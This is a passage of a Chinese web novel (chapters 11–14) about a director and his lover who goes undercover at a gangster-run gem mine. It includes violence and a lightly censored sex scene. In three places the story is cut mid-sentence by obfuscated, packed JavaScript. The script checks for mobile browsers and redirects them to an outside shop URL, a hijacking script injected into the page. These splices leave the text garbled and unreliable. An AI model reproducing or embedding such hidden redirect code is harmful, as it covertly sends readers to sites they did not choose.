这才看见,甘川手臂全是擦伤,泥土混着血肉露在外面。 柳之杨的目光从手臂,移到正在抽烟的甘川脸上。 甘川察觉,看了看手臂,笑说:“哎呦没事,谁还没受过点伤。” 风吹起柳之杨的二手西装,吹乱他的头发,伴随着风,太阳升起来了。 他们不自觉回头,橙红的阳光照亮东区低矮的楼房,照到二人身上。 甘川眯着眼睛看太阳,吐出一口烟,说:“把心放宽点,一切都有希望的。” 柳之杨眼睛有些涩,他将其归因于太阳直射太强。 甘川抽完一根烟,用拖鞋踩熄,转身离开。 走到天台楼梯门口,又回头对柳之杨说:“你别睡办公室了,别人还以为我虐待你呢哎呦。搬来和我住吧。” 11. 蓝宝石 雷见柳之杨似乎不想回答这个问题,没有再问。 前面路终于通了,雷重新发动车。 柳之杨收回思路,往窗外看去。 走过塌方后,路边站着五六个健壮黢黑的男子,他们只穿了个看不出颜色的背心,拿着铁锹铁杵之类的东西,身上全是泥土,正麻木地看着驶过的车辆。 过了山体塌房的地方再走半小时,就到红品矿山了。 矿山在山脚,是一片很大的空地。 泰金早在停车场恭候,同行的,还有他儿子——泰擒。 柳之杨下车,因为刚下过雨,矿场沙石地变得粘稠,踩上去深一脚浅一脚的。 泰金迎上来,寒暄几句后,介绍道:“柳理事,这是我儿子泰擒。擒子,叫人。” 柳之杨看向泰擒。 和穿着亚麻衬衫的泰金不同,泰擒穿了件二里二气的坎肩,露出精壮的胳膊,头上还裹着个红头巾。 “看什么?”泰擒问,语气很差。 泰金拐了下泰擒,“好好说话。” 柳之杨见泰擒二十左右的样子,年轻气盛,懒得和他多讲。对泰金说:“泰秘书,先带我看矿场吧。” “好的好的,你这边请。” 柳之杨正要走,忽然余光瞟见一道目光,看了过去,发现是刚才开路的矿工之一。 矿工也不过来,就这样远远盯着他们看。 柳之杨移开目光,抬脚跟上。 泰擒被冷落,朝着柳之杨的背影踢了一脚地上的土。 雷站在车旁边抽烟,看见这一幕,把烟头丢到泰擒身上。 泰擒被烫到,大叫了一声,怒气冲冲地看向雷。 雷看见他那副样子,笑了一声。 …… 泰金先带柳之杨转了一圈矿工住宅区。 所谓住宅区,就是搭一个高台做床,顶上撑起塑料布遮雨。不过这些塑料布都拉得严实,里面传来小声的、断断续续的讲话声。 泰金叹了口气,说:“矿上现在挖不出什么好东西,卖不出宝石就发不出钱,矿工都不上矿了,只好先让他们休息几天。” 整个住宅区只有一栋用木头建的房子,不大,仅一层,建在整个矿区最高的地方。 过了住宅区再往山脚走,柳之杨看到路边建了个小祠堂,里面供奉了一只象神。通体黑色,一手持法螺,一手抓恶鬼,腰间和脖颈围了一圈黄金配饰,怒目看着不远处的矿场。 在穆雅马信仰宗教的人非常多,柳之杨略有耳闻,这象神是用来招财和护法的圣物。 在祠堂前停留几秒后,柳之杨继续在泰金的带领下往里走。 山脚,巨大的矿坑终于显出面目。 矿坑边有一条向矿坑里面延伸的栈道,柳之杨站在栈道向下看。 矿区有两百个足球场大,坑坑洼洼的,停着数十辆挖机,从上面看去,挖机比鸡蛋还小。 矿场一面靠山,另外一面围了一圈铁丝,面向住宅区的地方开了道门。门边有两个小房子,还有四五个抬枪的人在巡逻。 但矿区里一个人都没有。 “理事,现在我们矿上情况就是这样,很不好,什么都挖不到……” 听着泰金的抱怨,柳之杨转身,再次敏锐地那个矿工的视线。 那矿工躲在塑料棚后面,不仔细看看不见,也不做什么,就这样看着柳之杨。 “……所以我们也很无奈啊!”泰金以一句痛彻心扉的呼喊结束。 柳之杨回眼看他,说:“知道了。” 泰金还要说什么,电话响了,他烦躁地接起:“干什么?没看见我正在……什么?!” 他缓缓放下电话,对柳之杨说:“理事,我儿子被你带来的人打了。” 等柳之杨赶到停车场,车边已经围了不少人。这些人穿着军绿色背心,都很干净,皮肤也稍显白净,有的腰上还别了枪,和矿工完全不同。 看见泰金来,人群让出条道。 雷抓着泰擒的后颈,把他牢牢按在车上。泰擒脸被打肿,眼里充满怒火,不甘心地想挣脱,却被雷按得更紧。 泰金大惊失色,急吼吼地去推雷:“你这是干什么!快给我放开!!” 雷像山一样巍然不动,反而加重了手上力道。 泰金急得原地乱转,一把拔出身边人的枪,对准雷:“放手!!” 面对黑洞洞的枪口,雷眯了眯眼,没有任何表情。 见泰金要来真的,柳之杨上前拉住泰金的胳膊,对雷说:“放开他吧。” 雷这才收手。 泰擒在松手那一刻跳起来,又要去打雷,被他爹一声喝住: “给我过来!!!” 泰擒阴恻恻盯了雷半晌,朝他脚下吐了口口水,“下次见你,一定搞死你。” “泰擒!滚过来!!” 泰擒这才挪动脚步,走到泰金身边。 柳之杨转身朝雷走去,侧头一看,果然,人高的灌木丛里,那个矿工注视着这一切。 他摆摆手让雷靠近,低声说:“去见见那个人。” 雷顺着柳之杨身侧的手指方向,看见了灌木丛里的矿工。 “柳理事,你看这个事情……?” 泰金的声音在身后响起,柳之杨回头,说:“去车上聊。” 泰金眼珠子一转,知道柳之杨这是要用钱解决,忙让围观的人离开,带着泰擒上了柳之杨的车。 车上,柳之杨拿出一沓钞票,递给泰擒。 泰擒一巴掌把钞票全打飞。 数万元的美元在车里翻飞半晌,静静落到地上。 “你打发叫花子呢?” 柳之杨目光一暗。 泰金完全没感受到气氛不对,只顾低头捡钱,捡得差不多,才不轻不重地打了儿子一脑掌:“你和谁说话呢,这是公司的理事,道歉!” 泰擒笑了一声,“哦才是个理事啊,那么大牌,我还以为是死了的言老大呢!” 泰金又打了儿子一脑掌,一把拽住儿子的胳膊,打开车门说:“柳理事,我这儿子说话没分寸,我回去教育他,您不送,不送。” 一转身,碰到从灌木丛上厕所回来的雷,泰金赶紧低头,带着儿子跑了。 柳之杨看着这对上梁不正下梁歪的父子,冷笑一声。 雷上车,说:“矿工什么都没说,只给我这个。” 他说着,递给柳之杨一个东西。 柳之杨接过一看,是颗指尖大小的蓝宝石。 …… “哎呦,还真是宝石啊亲爱的。”甘川拿着放大镜,看了半晌指尖的蓝宝石,得出结论。 柳之杨一愣,问:“是真的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到这里,泰金忙说:“是是是我考虑不周,甘副总您千万别亲自动手劳心劳力,我现在就从红品矿山赶回去!” 甘川直接挂了电话,把手机丢在桌上,对柳之杨说:“解决了。” 言老大遗物多,泰金一边要捞油水一边还要平衡各方,没半个月肯定回不来矿场。 柳之杨再次对甘川感到震惊,原来解决事情不需要那么麻烦。 水坝招标的事情卡在一半,迟迟解决不了,刚好给了甘川一个空闲期。他将建工集团的工作交给下面人打理,自己开车去了趟镇上集市。 一天后,柳之杨接到甘川的短信: “亲爱的,速来,我快死了。” 看清短信,柳之杨脑袋“嗡”地一响,他反复确定了好几次,是甘川的号码。 又回拨过去,可那边迟迟没人接。 柳之杨一边继续打电话,一边指挥手下全部上车候命。 在确定甘川不会接电话后,柳之杨来到甘川办公室,打开他书架后面的器械库,取下一把美式手枪。 掂量掂量又放了回去,拿起一把AK冲锋枪。 12. 矿上来了个新领导 柳之杨端着枪上车,三十多辆黑色凯迪拉克极速向甘川的别墅驶去。 窗外景色迅速后退,风吹乱柳之杨的头发,但吹不散他紧皱的眉头: 难道是泰金看穿了甘川的计划?可就算这样也不至于闹成这样。 或者是陈颂?可他最近因为赌场关停的事情焦头烂额,搞甘川,难道是他什么计谋吗? 车驶入别墅,迅速包围住。 还没停稳,柳之杨就打开车门跳了下去。 他让手下在外面等,端起枪,走进别墅。 一层一个人都没有,这时,他听见二楼传来难听的歌声,在唱跑调的《贝加尔湖畔》。 除此外,别墅安静得不可思议,也没有危险的气息,柳之杨来到二楼,朝甘川卧室试探地喊了一声。 卧室门口忽然闪现出一个人影。 柳之杨下意识开了一枪。 那人迅速闪开,而后传来不满的抱怨声:“你这是谋杀亲夫,谋杀亲夫啊杨杨!!” 柳之杨定睛一看,发现是甘川,只穿了条裤衩。 甘川的抱怨只有一秒钟,第二秒又兴冲冲地和柳之杨说:“亲爱的你这枪还有点眼熟,对了你快来,我去镇上集市买了好多衣服,你看哪些适合穿着去矿上,符合红品矿山矿工的……” 楼下传来一声枪响。 是手下在询问柳之杨有没有事。 甘川走到窗边,往下看了一眼,惊道:“怎么来了那么多人,发生什……” 柳之杨朝甘川大步流星走来,用枪托一把敲到他头上。 …… 甘川坐在椅子上,用纱布抵着头上鼓出的大包,他左边头顶的伤还没好,这次右边头顶又被敲出个大包。 纱布上的药渗入伤口里,疼得甘川龇牙咧嘴。 但看见沙发上一动不动的柳之杨,甘川又默默把呻吟咽回肚子。 “亲爱的,没想到你那么在乎我。”甘川说。 柳之杨双手抱在胸前,手在微微颤抖。他不敢想象,刚才那一枪要是打中甘川会怎么样? 甘川起身,坐到柳之杨边上,一只手搂住他的肩,见他没挣扎,又反手去摸他的侧颈: “亲爱的,亲爱的,别生气了。我知道你是关心我,我下次一定接你电话好吗?” 柳之杨总是一丝不苟的头发掉落几捋在鬓边,眉头微撇,嘴角紧闭,眼神幽怨地盯着前方,领带也松了些。 甘川看得心神荡漾,假意去给柳之杨调整领带,手越来越不安分。 柳之杨的衬衫很贴身,甘川一直觉得,隔着一层也别有风情。感受着温暖的身体,听着他剧烈的心跳声,甘川手上力道逐渐加重。 柳之杨简直没了脾气,这人被打了一顿,居然还有心思想这些。 他拿开身上两只咸猪手,问:“你叫我来要干什么?” 甘川这才想起来,兴冲冲地说:“对对对,你快进来帮我选选,哪件衣服符合红品矿山矿工的穿着?” 柳之杨在华国读书时,初中女生很喜欢玩一个叫“奇迹暖暖”的游戏:能给角色变装、搭配。 而现在,甘川就像游戏里的角色一样,一套又一套地接着换。 不同的是,游戏里的角色都是美丽小姐姐,但柳之杨面前的却是个不穿上衣的男人;游戏里的衣服都是干净整洁又漂亮,甘川换的衣服都是又土又丑又辣眼睛。 甘川最后挑了一件敞开的黑色短袖衬衫出来,衬衫上还印着好多大红花。他在镜子前照了照,兴奋地说:“这套不错啊!亲爱的,你觉得呢?” 柳之杨揉了揉眼睛,感觉眼睛被污染了。 “哎呦不过,我气质怎么那么出众,不像挖矿的。对吧亲爱的?” 柳之杨不答。 甘川转身看他,“对吧,亲爱的!” 柳之杨用手遮住想笑的嘴唇,看向窗外。 泰金没想到柳之杨又要去矿上,说带了几个新的矿工。泰金劝不住,只好嘱咐儿子泰擒盯好他。 三天后,甘川完全融入了矿工生活。 在穆雅马的丛林里,人们都会不自觉依附强者。甘川人高马大、为人潇洒大方,很快获得了其他矿工们的爱戴。 红品矿山共有一百五十多矿工,年纪各异,老的六七十岁的也有,十几岁的也有。他们每天早上六点下矿,中午休息一小时,一直工作到晚上十点才可以休息。每次离开矿场,都需要全身搜身。 矿工的工资在穆雅马是第一梯队,所以很多人趋之若鹜。再加上,这些矿工每周还有半天“开放日”。 开放日这天,矿工可以去矿区自由挖,挖到什么都是自己的。 但开放日前,卡恰会先进矿区,仔仔细细搜刮一遍,直到剩不下什么油水才会离开。 所谓“卡恰”就是矿场的工头,有三十人左右,穿着军绿色背心,大多数配枪,平时监管矿工工作,工作结束后给矿工搜身,以避免他们把矿里东西带出去。 泰擒就是管理卡恰的“卡恰长”。 再往上,就是管理矿场的理事。泰金不在,这个职位当然由在矿上柳之杨担任。 柳之杨来了三天,矿停了三天。他让泰擒开工,泰擒却以“这几天天气不好,上矿会出事”为由拒绝。 柳之杨也命令不了卡恰,矿工更不听他的。 柳之杨决定等。干过工程的都知道,停工一天造成的损失有多大。他一直在矿上,难不成他们就一直不开工。 这三天,他基本都待在木屋里,查了红品矿山的账,作假作得很有一套,但也不至于看不出来。 柳之杨手指拨弄着账本页脚——所以言老大早就知道泰金贪污,是故意让甘川和他狗咬狗的。 可惜斯人已逝。 他又查了矿工名单,可没找到那个叫沈佳瑞的男生。他是王欣和崔梓涵的同伴,按照叠码仔的说法,现在就在红品矿山。 怎么会找不到这个名字呢? 此外,柳之杨还把矿上历史查了一遍。 因为矿上请象神一般是因为开矿时开到不好的东西,例如坟墓、坟地,或是有重大事故。 一查资料,果然,十年前,这里是个煤矿矿场,结果发生了一次严重塌方事故后,这片地就荒了。 还是言老大不知道从哪儿得来的消息,说这片地有很多矿藏,才低价买入,有了今天的红品矿山。 三天里,卡恰到处都在盯着,柳之杨没机会和甘川说话。柳之杨吃饭都是有专人做好,在木屋吃。 甘川则和所有矿工吃大锅饭。 他会听到甘川路过木屋时故意放大的声音: “哎呦这矿上真爽啊!什么都不用干,还能有饭吃!!” “妈的,这饭也太难吃了。” 柳之杨勾了勾嘴角。 第四天早晨,泰擒坐不住了。他路过木房子,发现柳之杨还端坐在里面吃早餐、没有一点要走的样子时,怒了,进去一把把桌子掀翻。 雷蹲在木屋后面的后山刷牙,听见动静,转头把牙刷从窗里丢进去,打到泰擒头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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矿工们休矿没有工资拿,饭给的也越来越少,但碍于泰擒的威胁一直不敢说。 甘川自然懂,他笑起来,谄媚地看向柳之杨,说:“理事,兄弟们想问问,我们什么时候能开工啊?” 这一石激起千层浪,矿工们纷纷附和。 柳之杨看着甘川这副样子,觉得不送他去学表演真是可惜了。 泰擒火了:“你们他妈是不是有什么毛病?不上矿让你们休息你们还有意见了?都给我滚!!!!” 矿工们好笑地看着他,都被打成这样了还一副拽样。离了拿枪的卡恰,他泰擒啥都不是。 卡恰们终于发现这边的争吵,跑了过来,用枪去驱散矿工。枪口当前,矿工们只好慢悠悠地散开。 “吃完早餐复工。”柳之杨说。 所有人停下动作,看向他。 泰擒皱着眉:“你说什么?” 柳之杨对矿工们说:“吃饭去吧,吃完复工。” 矿工不动,看向泰擒。 泰擒其实也想复工,停工三天,要是被他爹知道了肯定少不了一顿骂。既然柳之杨一时半会走不了,那就只能用别的方法了。 只见泰擒眼睛一转,说:“行,那就给新理事一个面子,开工吧!”说罢白了柳之杨一眼,带着卡恰离开了。 矿工们欢呼起来,有的人四处奔走,告知其他矿工。整个矿场似乎这才活了起来。 三狗兴奋地摇着甘川手臂:“川哥,新来的理事似乎是个好人呢!” 甘川几天没见,早想得快疯了,用眼神把柳之杨全身上下摸了一遍。 为防止做出一些过激行为,甘川咽了口水,拍拍三狗的肩,示意他和其他矿工走了。 “稍等,”柳之杨叫住他们,走下楼梯说,“我早餐没了,和你们一起吃。” 13. 恶意 矿工吃饭都统一在塑料棚外面的空地上,周围有卡恰巡守。 矿工们三三两两地,或蹲或站,有时也会讲点儿小话。正吃得起劲,看见一个西装革履的人来,空地上瞬间鸦雀无声。 柳之杨来到一只大锅面前,里面煮着白稀饭,只是那稀饭已经稀得像白水泡饭了。 打饭大娘看见柳之杨就知道糟了。一听三狗说这是新理事,张着嘴,半天说不出话,“理理理理理事,怎么,怎么不提前,说,说一声……” “给理事盛粥啊,”甘川有模有样地说,“让理事尝尝,我们平时吃的都是什么猪食。” 所有吃饭的矿工:…… 打饭大娘拿起大勺,开始轻拢慢捻抹复挑,总算是捞起了点儿大米。她擦擦手,把粥递给柳之杨。 柳之杨没接,双手抱胸,看向甘川。 之前都是自己给甘川端茶倒水跑前跑后,今天算是反过来了。 “哎呦怎么能让理事金贵的手端粥呢?”甘川反应过来,接过粥碗,赶走唯一一张桌子上的人,放好粥,“理事,您请您请。” 柳之杨的嘴角微翘,坐到椅子上,用手敲了敲木桌,“勺子。” 三狗立刻拿过一把勺子,用衣角擦擦,递给柳之杨,“理事,理事,我叫三狗。” 柳之杨点头,示意他们坐。 几个矿工和甘川打了粥,跟着甘川坐到柳之杨对面。 柳之杨用勺子一点点舀着喝,其他几个矿工见状,也不好意思捧着就喝,起身要了勺子。 只有甘川,他端起碗、仰起头,一碗米粥迅速下肚,喝完,嘴边还留了一圈粥印。 三狗拐拐他,小声说:“川哥,你注意点形象!别给理事看笑话。” 甘川一脑掌过去:“妈的你个挖土的要什么形象。” 三狗不说话了。 甘川这才看向柳之杨,笑说:“哎呦亲爱的……理事,今天真是谢谢你,这些兄弟们被矿上拖着,三天没上工了。他们好多人家里面还等着要钱,三天不上工,损失不少啊。” 柳之杨搅着白粥,问:“泰擒为什么不让你们上工?” 不等甘川说话,三狗往四周看了一眼,说:“理事,这个我们不敢说,泰擒很阴,乱说会被他……”他做了个咔嚓的手势。 柳之杨喝了一口粥,说:“你叫三狗?” 三狗点头。 柳之杨看向面前的甘川,问:“你叫什么?” “柳川。”甘川朝他挑了下左眉。 柳之杨:…… “新来的吧,”柳之杨垂下眼,又问,“对这里适应吗?” 甘川扭了扭肩膀,说:“哎呦还行吧,就是晚上睡觉睡石板,太硬了,还有打呼噜的,我他妈最受不了这个。撒……卸货,也不方便。” 三狗挤眉弄眼地说:“川哥,你怕不是正经卸货吧?” 见柳之杨抬眼看他,甘川又一脑掌扇过去:“你他妈的,能不能文明一点?” 三狗委屈:“你在棚窝里可不是这样。” “这他妈在吃饭,能一样吗?” “我们都是男嘛,而且你刚才还说,我们挖土的要什么形象。” 甘川真被气笑了。 坐在另一边的一个年级稍大的男人开口道:“理事,我们都是糙人,你看笑话了。我叫颂巴,在矿上干三年了。” 柳之杨问他:“那你应该很清楚,矿里到底还有多少东西。” 颂巴模棱两可地说:“矿太大了。” “平时泰擒管你们很严格?” 颂巴说:“还行吧。” 柳之杨点头,没有再说话。 从让矿工坐对面时,他就看出一件事,大部分矿工都不信任自己。要不是甘川主动坐下,他们是不会坐下的。 能理解,毕竟泰擒有枪,自己只是个光杆司令。 “理事也是新来的吧,”甘川杵着脸,一动不动盯着柳之杨,“还适应吗?” 柳之杨感觉脸快被他盯穿了,低下头说:“还行。” 甘川笑说:“理事要是有什么需要我做的,尽管吩咐。” 很正常的话,可由于甘川语气上挑,听着就像有点儿别的意思。 三狗瞪大眼睛,在柳之杨和甘川身上来回扫。 “确实有件事要你做,”柳之杨把最后一点粥喝完,“今晚去把后山的野草割了。” 说完,他整理外套,站起身离开了。 甘川眼睛粘在柳之杨清瘦紧致的腰上下不来了,大声说:“好嘞!” 三狗拐拐吃了迷药一样的甘川,“去后山割草你也高兴?” 颂巴评价:“想吃天鹅肉了呗。” 中午十二点一过,矿场正式开放。矿工鱼贯而入,拿着锄头榔头各种工具开挖。 卡恰们分布在矿场各个地方,抬着枪来回巡视。 柳之杨站在栈道上看了半晌,甘川和颂巴他们在一起,干活很卖力,锄头抡得飞起。他上身穿了件白背心,已经被汗浸湿,精壮的身材若隐若现。 柳之杨勾唇笑了笑。 甘川的力气大,身材也好,该有的都有,但他从没有刻意练过。柳之杨只能将其归因于天赋。 雷站在柳之杨身边,见他眼尾有笑意,说:“要不我今晚把甘川带来?” 柳之杨摇头,说:“木屋有监控还有人盯着,你帮我去后山置办点东西,别被人看见。” 雷说好,随柳之杨离开矿场。 一个下午,柳之杨重新把矿场建立以来的材料梳理了,虽然拿不到真账本,但也可以大致推测出泰金贪了多少。 等夕阳从窗里打到书桌上,柳之杨才停下笔。看着这算得满满当当的几页纸,他叹息,上警校时自己数学最差,没想到现在,反倒被迫会了数学。 柳之杨对着空荡荡的房间伸了个懒腰,扣好袖口,整理了衣领,走到门外。 矿场门口已经排起长队,矿工们正一个个接收卡恰检查。 柳之杨一眼看见队伍里的甘川,他站在颂巴后面,白背心已经脏得看不出颜色。 此外,在甘川后几排有个熟悉的面孔——是当时给他们蓝宝石的那个矿工。 他低头排着队,很沉默。 出矿场前,矿工要先把挖到的东西丢到一个箩筐里,有两个持枪的卡恰守着。 丢完东西,排队来到矿场门口有两个高岗亭,分男女两队伍,每个人出矿场前要到房间里搜身,以防把矿里东西带出去。 前面人群不断挪动,颂巴来到岗亭下面,阴影带来一丝凉意,颂巴笑着回头和满头大汗的甘川炫耀。 谁知下一秒,甘川眼神忽然一变。 颂巴这才感到脖子凉凉的,耳边还传来“嘶嘶”声。僵硬地转头,一条红颈毒蛇正盘绕在他肩上。 岗亭上的卡恰收回麻袋,笑嘻嘻地看着颂巴。 颂巴还没来得及叫,就见甘川一把抓住蛇的七寸,把蛇扯了下来。 蛇在他手上扭曲不停,甘川捏着它的头,在空中甩了几圈,丢上岗亭,“还你!” 丢蛇的卡恰见状往后一躲,把身边一个畏畏缩缩、外表白净的卡恰推到前面。 蛇刚巧落到白净的小卡恰身上。 那小卡恰的脸“唰”地一下白了,僵在原地。 蛇在小卡恰脖颈盘旋,似乎在寻找有利的进攻位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584364|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。 岗亭上另外两个卡恰拿着枪,不敢开枪打蛇,那蛇太小了,很可能伤到小卡恰,谁都不敢冒险。 小卡恰下巴抖动,试了好几次都说不出话,只能无声动嘴:救我、救我…… 蛇在他脖颈上缓缓缩紧,蛇头仰起,张开血盆大口,猛地咬下来。 “砰”地一声枪响。 小卡恰抖了一下,感觉温热的东西洒到脸上,一摸,是蛇血。 蛇的头被打飞,只剩身体还盘在小卡恰身上。 柳之杨拿着枪,枪口冒出一缕白烟。 见小卡恰没危险了,才松了口气,将枪别回腰间。 小卡恰颤抖着把蛇的尸体丢开,身体一软,瘫倒在地上,“谢谢,谢谢你……” 他说的是中文。 柳之杨心念一动,上前去扶他,用中文低声问:“沈佳瑞?” 小卡恰眼睛猛地睁大,“你……你……” “先起来。”柳之杨说。 难怪矿工名单找不到他,他居然在当卡恰。 王欣说过,沈佳瑞家挺有钱,想来应该是家里给了点钱,才让儿子没那么受折磨。 但矿场的卡恰大多穷凶极恶,沈佳瑞一个华国学生,必是其他卡恰欺凌的对象。 沈佳瑞站起身,低着头晃悠两下,泪水像串珠子一样落下,浸湿军绿背心一大片。 “给我跪着!!” 这时,下面传来骚乱声。 柳之杨走到岗亭边一看,颂巴高举双手,跪在地上。 泰擒用枪托用力敲到甘川膝弯,逼迫他也跪下。 这才是泰擒的真实目的,制造骚乱,算在甘川他们头上。 柳之杨抓起地上蛇的尸体,丢到泰擒身上。 泰擒一下跳得三米高,吓得哇哇乱叫,惹得矿工们又低声笑起来。 泰擒把蛇尸体甩下来,用枪向上指着柳之杨:“你想死吗?!” 柳之杨说:“卡恰我已经救下来了,我不追究那两个矿工的责任,放了他们。” “你妹的你说放就放啊!!他这是扰乱矿场秩序!” 柳之杨对站在身后的雷招招手。 雷压着丢蛇的卡恰走到岗亭边,面对下面一众矿工。 柳之杨问他:“蛇是不是你丢的?” 雷把他双脚拎起,眼看就要翻下去,吓得卡恰连连点头。 柳之杨又让沈佳瑞过来,问:“你怪不怪丢蛇的人?” 柳之杨虽然是在问他,但结果已经暗示了。沈佳瑞不蠢,赶紧摇头。 柳之杨对泰擒说:“蛇最初不是两个矿工丢的,被蛇砸到的卡恰也不怪他们。这件事还和你有什么关系?” 泰擒发现这大城里来的人真是惯会说话,把事情放到明面上说,让自己没有做手脚的余地。 泰擒用手指着柳之杨,咬着牙说:“你给我等着,我一定搞死你!” 和泰擒两次冲突,都以柳之杨的胜利结束。 矿工们看着夕阳下西装革履的理事,眼神也有些变了。 等所有矿工检查完离开矿场,卡恰才进去,把矿工们挖到的东西统一收到泰擒眼前。 两个卡恰抬着箩筐往这边走。 柳之杨站在岗亭上,明明看见那箩筐有些份量,可等他下到下面去查挖到的东西时,又只有一些成色很烂的翡翠石。 泰擒愤怒地把石头丢回箩筐,对柳之杨说:“看见了吧,下矿就挖出这些,连今天矿工的工资都不够发!你他妈从哪儿来回哪儿去吧!别在这里妨碍我们讨生活了!!” 泰擒的演技比起甘川还是差太多,柳之杨没什么表情地把石头丢回箩筐,转身离开。 14. 后山 凌晨,红品矿山后山的山腰风有些大,吹得周围芦苇荡轻轻点头,似乎也睡着了一样。 今夜万里无云,月光比灯还亮些,撒在山上,能看清十米外的事物。 甘川坐在山坡上抽烟,脚下的矿场一片寂静,但三十公里外的红品市却灯火通明,像一滩星光洒落在山间。 风将香烟的烟卷起,飘向远方。 一根烟还没抽完,甘川听见了身后的脚步声。 “让你割野草,割了吗?” 柳之杨清冷又带着些玩笑的声音落到甘川心里,他捏了烟,站起身。 柳之杨穿得很随意,一件深灰色卫衣,下面穿了条休闲裤。 除了最开始认识那几年,甘川很少见柳之杨这样穿过了。 “哎呦我们柳理事……”甘川想说什么,可话卡在嗓子里,不知道怎么表达。 想了想,干脆上前,一把把人揽到怀里。 甘川洗过澡,身上有股山泉水的味道。柳之杨回抱住他,将头埋进他肩颈。 “想死我了。”甘川说着,一只手掀起他的卫衣下摆。 另一只手往下,拍了下他的pigu,却发现他里面没穿。 甘川的手一顿。 柳之杨和甘川分开了些,双手攀上他的肩,微微侧头,吻住甘川的唇。 妈的。 甘川只觉全身都燥热起来。 他用力回吻,像只野兽般要将眼前美人拆穿入腹。 “妈的柳理事,”甘川间隙喘着气说,“你他妈怎么那么野,约我在这里打ye战。” 柳之杨双耳通红,说:“你他妈能不能文明点儿?” “哎呦我们柳理事也骂人了,”甘川和他鼻尖对鼻尖,逗他说,“真好听啊,再骂一句我听听。” 柳之杨真的对甘川奇怪的xp没办法了,他轻推开甘川,说:“那边有间木屋,我让雷打扫好了。” 甘川眼睛都在放光,追上柳之杨的步伐,兴奋地说:“你他妈一天都在想我吗?” 柳之杨没答。 甘川拉住柳之杨的手,说:“早就打扫好的屋子,约我晚上来后山,来了又他妈不穿内裤。哎呦妈的,这红品矿山空气里是不是有chun药,才让我们柳理事来几天变那么sao。” 柳之杨甩开他的手,打开木屋门,轻飘飘地说:“不想来就滚。” 甘川又被骂爽了,他笑嘻嘻地抱住柳之杨那一截细腰,“来,我们柳理事亲手帮我卸货,我能不来吗?” 说着,把柳之杨推进木屋,关上门。 …… 鸟叫的第一声,柳之杨醒来,浑身浑身酸痛。可除了痛,还有不少爽感,柳之杨抿唇笑了一下。 “哎呦看来我给理事服侍爽了啊。”甘川有些沙哑又低沉的声音在耳边响起。 柳之杨转头,甘川正杵着枕头看他。 柳之杨不重不轻打了他一下,“能不能别那么吓人。” 甘川抓住他的手,在唇边轻吻,说:“柳理事真是绝情啊,温存一晚醒来第一句话又是抱怨我。我昨晚表现得好吧亲爱的?” 柳之杨抽出手,转过头去,不说话了。 甘川俯下身去咬他红了的耳朵:“妈的昨晚那么sao,今早起来又不说话了。” 甘川的身体很热,像炭火似的贴在柳之杨后背,他的心跳坚定有力,传到柳之杨耳里。 柳之杨听着,转身亲了他一下,不等他反应,立刻下床开始穿衣服。 甘川抓他的手还悬在半空:“亲爱的你真是残忍啊!” 柳之杨拿起他的裤子丢他脸上,“起来挖矿去。” 甘川把裤子扯下来,一边穿还一边抱怨:“这当了矿场理事就是不一样啊,把矿工用完就丢,只顾发泄自己根本不在乎我的人权……” 柳之杨听着好笑:“你再说几句,一会儿上工迟到被打别怪我。” 甘川说:“哎呦妈的我起我起。这红品矿山让人烦躁得很呐,泰擒天天盯着我,亲爱的你说我哪里惹到他了?” “哪里惹到他你还不知道吗。”柳之杨笑笑,说。 “他爹泰金人模狗样的,他这个儿子怎么疯成这样?” 柳之杨走到镜前整理领带,说:“我算了红品矿山这三年的账,泰金最少贪了八千万。” 甘川抬眼,立刻懂了柳之杨的意思。 贪八千万,言老大不知道就怪了。 “妈的还好我没给老头子烧纸,”甘川起身穿好上衣,“老头子这是把肉吃了汤喝了骨头丢给我们抢啊。” “哥打算怎么办?”柳之杨问。 甘川说:“老办法啊,要么抓先行,要么找到他真账本。有证据就好办了,公司里一告一个准。” 柳之杨点头。 比起公司其他人,甘川挺人性化的了,这么多年,他都是通过公司正规规则把人弄下去。当然,偶尔也会辅助一些必要手段。 柳之杨一直觉得,他一个高中都没毕业的人,法律知识倒是学得很好。 “矿上怎么样?”柳之杨上前,为甘川系上腰带。 “还能干,累倒还好,就是太热了。” 柳之杨听后,将他腰带扣好,从包里拿出一小瓶风油精给他。 甘川摩挲着瓶子,笑道:“哎呦我们柳理事对我可真好啊。” 柳之杨说:“给三狗他们也涂点儿,别中暑了。” 甘川把风油精揣进兜里:“圣人呐真是圣人呐。不过理事大人,我和三狗在两个区域,挖矿时遇不到,你白担心他了。” 柳之杨回忆,昨天去看矿场的时候确实没看到三狗在哪儿。 甘川很快解答了他的困惑:“……他每次都在靠山脚的那块地,那里以前有个矿区,现在废弃了,但里面会有风惯出来,凉快点。” “其他人怎么不抢着去?” “那没东西啊!亲爱的我和你说,我昨天就那么随便挖几下,都挖到个挺大的翡翠石,要开的话,估计能开出个不错的种,”甘川边说边比划,“大概那么大,青色的,你昨天检查时看见没?” 柳之杨说:“都是很小成色很一般的石头,不知道泰擒用什么方法把其他东西藏起来了。今天下工,我再去看看。” 说起这事,甘川想起另一个事,“哎呦妈的,你知道矿里有一百多那加人吧?他们住在另一个棚子里,我他妈前天晚上撒尿进错地方,一拉棚子,他妈的一个古蔓童坐在祭坛上,下面还点了红蜡烛,给老子吓死了。你说这些人怎么要把这东西放在自己睡的地方呢?不吓人吗?” 柳之杨的眉头压下:“怎么会有那么多的那加人?” 